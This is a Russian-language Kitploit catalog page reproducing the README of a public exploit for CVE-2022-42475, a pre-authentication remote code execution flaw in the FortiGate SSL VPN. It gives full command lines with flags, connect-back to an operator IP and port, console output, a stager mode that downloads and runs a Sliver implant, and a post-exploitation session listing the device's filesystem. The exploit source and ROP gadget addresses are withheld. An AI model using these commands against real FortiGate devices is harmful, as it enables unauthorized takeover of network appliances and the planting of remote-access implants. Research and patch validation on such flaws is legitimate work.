Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-42475-POC — Эксплойт для CVE-2022-42475, нацеленный на FortiGate SSL VPN с режимом только проверки, выполнением ROP-цепочек и shellcode обратного подключения для удаленного выполнения кода и развертывания бинарного файла. | Kitploit
Инструменты/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
Анализ уязвимостейЭксплуатацияШелл-кодВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт для CVE-2022-42475, нацеленный на FortiGate SSL VPN с режимом только проверки, выполнением ROP-цепочек и shellcode обратного подключения для удаленного выполнения кода и развертывания бинарного файла.

Репозиторий
5 месяцев назадЕщё не проверено

CVE-2022-42475

Предыстория

Это эксплойт для записи в блоге здесь: https://bishopfox.com/blog/exploit-cve-2022-42475

Версия с изъятиями

Эта версия эксплойта не будет работать без того, чтобы вы, хакер, предоставили необходимые адреса памяти для ROP-гаджетов и т. д. Работа по определению этих данных является конфиденциальной и собственностью Bishop Fox, и я не буду (не могу) публиковать её вместе с этим эксплойтом. Надеюсь, вы понимаете!

Режимы работы

  • Только проверка, без эксплойта. Определяет, уязвима ли цель. Без полезной нагрузки, без shellcode.
  • Эксплойт, но только проверка. Запускается безвредный connect-back "ping" shellcode для проверки, что цель поддаётся эксплойту.
  • Эксплойт с connect-back бинарным стагером. Shellcode подключается обратно к эксплойту, загружает зашифрованный бинарный файл, предоставленный оператором (обычно https://gitub.com/BishopFox/Sliver), расшифровывает его, а затем вызывает execve(binary_file).

Примечание: В настоящее время режим «только проверка» работает со всеми известными версиями FortiOS. Однако эксплойты работают только против FortiOS 6.0.4 на оборудовании 100D. Я больше не работаю в BF и поэтому не могу опубликовать расширенный эксплойт, поддерживающий, например, 18k целей.

Требования

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Только проверка

Это не будет пытаться использовать уязвимость, а вместо этого вызовет её как сбой (удалённый демон SSL VPN перезапускается автоматически и немедленно). Сбой обнаруживается эвристически и сообщается оператору.

Запустите его с флагом -v для проверки:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Эксплойт, но с проверкой (функция доступна только для FortiOS 6.0.4 на устройствах 100D на данный момент)

Это запустит уязвимость, развернёт ROP-цепочку и перейдёт к shellcode. Shellcode является безвредным и работает следующим образом:

  • Эксплойт подключается к цели и запускает уязвимость для выполнения shellcode
  • Shellcode подключается обратно к IP:port оператора
  • Shellcode отправляет один «приветственный» байт эксплойту: 0xbf
  • Эксплойт доставляет shellcode небольшой зашифрованный тестовый payload (ключ AES генерируется случайно при каждом запуске)
  • Shellcode расшифровывает payload и сохраняет его в /tmp/x на устройстве FortiGate
  • Shellcode отправляет ещё один байт 0xbf эксплойту, если расшифровка payload прошла успешно
  • Эксплойт считывает байт и подтверждает выполнение кода.

Флаги:

root@kitploit:~
-t           целевой хост/IP
-p           целевой порт
-e           режим эксплойта
-c           режим только connect-back
-H и -P      IP:port оператора (обязательно)
-s           версия ПО FortiOS (обязательно)
-m           аппаратная модель, на которой работает FortiOS
-d           включить отладку

Пример, где мы выбираем версию ПО 6.0.4 и модель устройства 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Если опустить -m для выбора аппаратной модели, эксплойт будет подбирать все аппаратные цели для указанной версии ПО.

Глобальная термоядерная война

  • Оператор указывает расположение бинарного файла импланта Sliver (на базе Linux)
  • Эксплойт подключается к цели и запускает уязвимость для выполнения shellcode
  • Shellcode подключается обратно к IP:port оператора
  • Shellcode отправляет один «приветственный» байт эксплойту: 0xbf
  • Эксплойт шифрует бинарный файл Sliver и отправляет его shellcode
  • Shellcode расшифровывает бинарный файл и сохраняет его в /tmp/x
  • Shellcode отправляет байт «успеха» 0xbf эксплойту
  • Эксплойт считывает байт и подтверждает выполнение кода
  • Shellcode вызывает execve("/tmp/x")
  • ???
  • Profit!

Флаги:

root@kitploit:~
-t           целевой хост/IP
-p           целевой порт
-e           режим эксплойта
-f filename  /путь/к/бинарному/файлу/для/execve/на/цели
-H и -P      IP:port оператора для connect-back (обязательно)
-s           версия ПО FortiOS (обязательно)
-m           аппаратная модель, на которой работает FortiOS
-d           включить отладку

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Эксплойт:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

И обратно в Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Обратите внимание, что Sliver возвращает <err>, потому что FortiOS — это в некотором роде Linux, но не всегда работает так, как ожидается. Это проблема FortiOS, а не Sliver.

Скоро появятся новые версии

Я больше не работаю в Bishop Fox, поэтому за обновлениями вам нужно следить на GitHub BF.

Скачать инструмент